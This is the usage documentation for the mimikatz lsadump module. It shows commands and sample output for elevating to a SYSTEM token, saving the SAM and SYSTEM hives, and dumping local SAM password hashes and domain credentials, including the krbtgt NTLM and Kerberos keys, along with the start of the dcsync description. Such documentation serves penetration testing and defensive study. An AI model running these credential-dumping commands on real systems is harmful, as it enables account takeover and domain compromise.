

module ~ lsadump

By gentilkiwi

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Commands: [sam](#), [secrets](#), [cache](#), [lsa](#), [trust](#), [backupkeys](#), [rpdata](#), [dcsync](#), [netsync](#)

sam

This command dumps the Security Account Managers (SAM) database. It contains NTLM, and sometimes LM hash, of users passwords. It can work in two modes: online (with SYSTEM user or token) or offline (with SYSTEM & SAM hives or backup)

online

If you're not SYSTEM or using an impersonated SYSTEM token, you'll have access denied error:

```
mimikatz # lsadump::sam
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56
ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x00000005)
```

In this case, you can use psexec to begin SYSTEM (or other tools) or elevate with token::elevate command to impersonate a SYSTEM token:

```
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::whoami
* Process Token : 623884 vm-w7-ult-x\Gentil Kiwi S-1-5-21-1982681256-1210654043-1600862990-1000 (14g,24p)
* Thread Token : no token

mimikatz # token::elevate
Token Id : 0
User name :
SID name : AUTORITE NT\Systeme

228 24215 AUTORITE NT\Systeme S-1-5-18 (04g,30p) Primary
-> Impersonated !
* Process Token : 623884 vm-w7-ult-x\Gentil Kiwi S-1-5-21-1982681256-1210654043-1600862990-1000 (14g,24p)
* Thread Token : 624196 AUTORITE NT\Systeme S-1-5-18 (04g,30p) Impersonation (Delegati

mimikatz # lsadump::sam
```

```
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56

SAMKey : e44dd440fd77ebfe800edf60c11d4abd

RID : 000001f4 (500)
User : Administrateur
LM :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

RID : 000001f5 (501)
User : Invité
LM :
NTLM :

RID : 000003e8 (1000)
User : Gentil Kiwi
LM :
NTLM : cc36cf7a8514893efccd332446158b1a
```

offline

You can backup `SYSTEM` & `SAM` hives with:

```
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
```

Or use Volume Shadow Copy / BootCD to backup these files:

```
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
```

Of course, you can also use files directly from another Windows location.

Then

```
mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56

SAMKey : e44dd440fd77ebfe800edf60c11d4abd

RID : 000001f4 (500)
User : Administrateur
LM :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
```

```
RID : 000001f5 (501)
```

```
User : Invité
```

```
LM :
```

```
NTLM :
```

```
RID : 000003e8 (1000)
```

```
User : Gentil Kiwi
```

```
LM :
```

```
NTLM : cc36cf7a8514893efccd332446158b1a
```

secrets

cache

lsa

```
mimikatz # lsadump::lsa /id:500
```

```
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670
```

```
RID : 000001f4 (500)
```

```
User : Administrateur
```

```
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003
```

```
mimikatz # lsadump::lsa /inject /name:krbtgt
```

```
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670
```

```
RID : 000001f6 (502)
```

```
User : krbtgt
```

```
* Primary
```

```
LM :
```

```
NTLM : 310b643c5316c8c3c70a10cfb17e2e31
```

```
* WDigest
```

```
01 54a52c7ef73ebe90194c083129d6ac81
```

```
02 9fa3bb508e7b3646efa65acbd22e2af9
```

```
03 e185f5c75b64f94e5716a1e42e37794d
```

```
04 54a52c7ef73ebe90194c083129d6ac81
```

```
05 9fa3bb508e7b3646efa65acbd22e2af9
```

```
06 5dd4ee69b653c5c9aad64a393b6a9700
```

```
07 54a52c7ef73ebe90194c083129d6ac81
```

```
08 7bedf3c0186f4af47c95724fbed7a44
```

```
09 7bedf3c0186f4af47c95724fbed7a44
```

```
10 80e30fbce1952fc7aa5778f51ffad4d8
```

```
11 1c05ad8928e14f380db8a831c1946fe3
12 7bedf3c0186f4af47c95724fbed7a44
13 c33523d429bce0c392c89ac2d301ae6c
14 1c05ad8928e14f380db8a831c1946fe3
15 536c8128d7cf8667164ed762ad2fb9e6
16 536c8128d7cf8667164ed762ad2fb9e6
17 a1c4b9e13d6679796398e4cacad0cb03
18 3f36213dfa4ea6f9e505a60c58c6393a
19 dfda9df26d75e40b1639cf9305937f51
20 b469efd6b8bff67312a09918526ef080
21 49a1ad8ee21e79f44a8033e189616981
22 49a1ad8ee21e79f44a8033e189616981
23 079b50c03444176568e0732db7e65b85
24 3885d7b1fa11fd86e892e2aaab4c0aec
25 3885d7b1fa11fd86e892e2aaab4c0aec
26 5bd64f5d0bcc6c10ccb2fbb5043a74
27 9c546227d4c3bbbd4a5a6065dd7b7213
28 e776b6660b25384f87d55cc300657d13
29 26c87bd1a9c48e652f83431bf20227c2
```

* Kerberos

```
Default Salt : CHOCOLATE.LOCALkrbtgt
Credentials
  des_cbc_md5      : 620eb39e450e6776
```

* Kerberos-Newer-Keys

```
Default Salt : CHOCOLATE.LOCALkrbtgt
Default Iterations : 4096
Credentials
  aes256_hmac      (4096) : 15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42
  aes128_hmac      (4096) : da3128afc899a298b72d365bd753dbfb
  des_cbc_md5      (4096) : 620eb39e450e6776
```

```
mimikatz # lsadump::lsa /patch
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670
```

```
RID : 000001f4 (500)
User : Administrateur
LM :
NTLM : cc36cf7a8514893efccd332446158b1a
```

```
RID : 000001f5 (501)
User : Invité
LM :
NTLM :
```

```
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 310b643c5316c8c3c70a10cfb17e2e31

RID : 00000452 (1106)
User : equipement
LM :
NTLM : 57a087d98bfac9df10df27a564b77ad6

RID : 00000453 (1107)
User : utilisateur
LM :
NTLM : 8e3a18d453ec2450c321003772d678d5

RID : 000003e9 (1001)
User : SRVCHARLY$
LM :
NTLM : cfe67c8e5e5bab99b911302728152ab3

RID : 00000450 (1104)
User : WIN81$
LM :
NTLM : ad0344245f24e4927d9480559c7f8842

RID : 00000451 (1105)
User : WINXP$
LM :
NTLM : d2624e317aa4d245b7dad2942444d7f7
```

dcsync

This command uses [DRSR](#) protocol to ask a domain controller to synchronize a specified entry. It's the same protocol that domain controllers are using between them.

It was co-writed with Vincent LE TOUX ([vincent.letoux \[at\] gmail.com](mailto:vincent.letoux[at]gmail.com) / <http://www.mysmartlogon.com>)

Argument:

- `/domain` - *optional* - the FQDN of the domain you want to synchronize (default: *your current domain*)
- `/dc` - *optional* - the FQDN of the domain controller you want to synchronize (default: *autodected by the domain name*)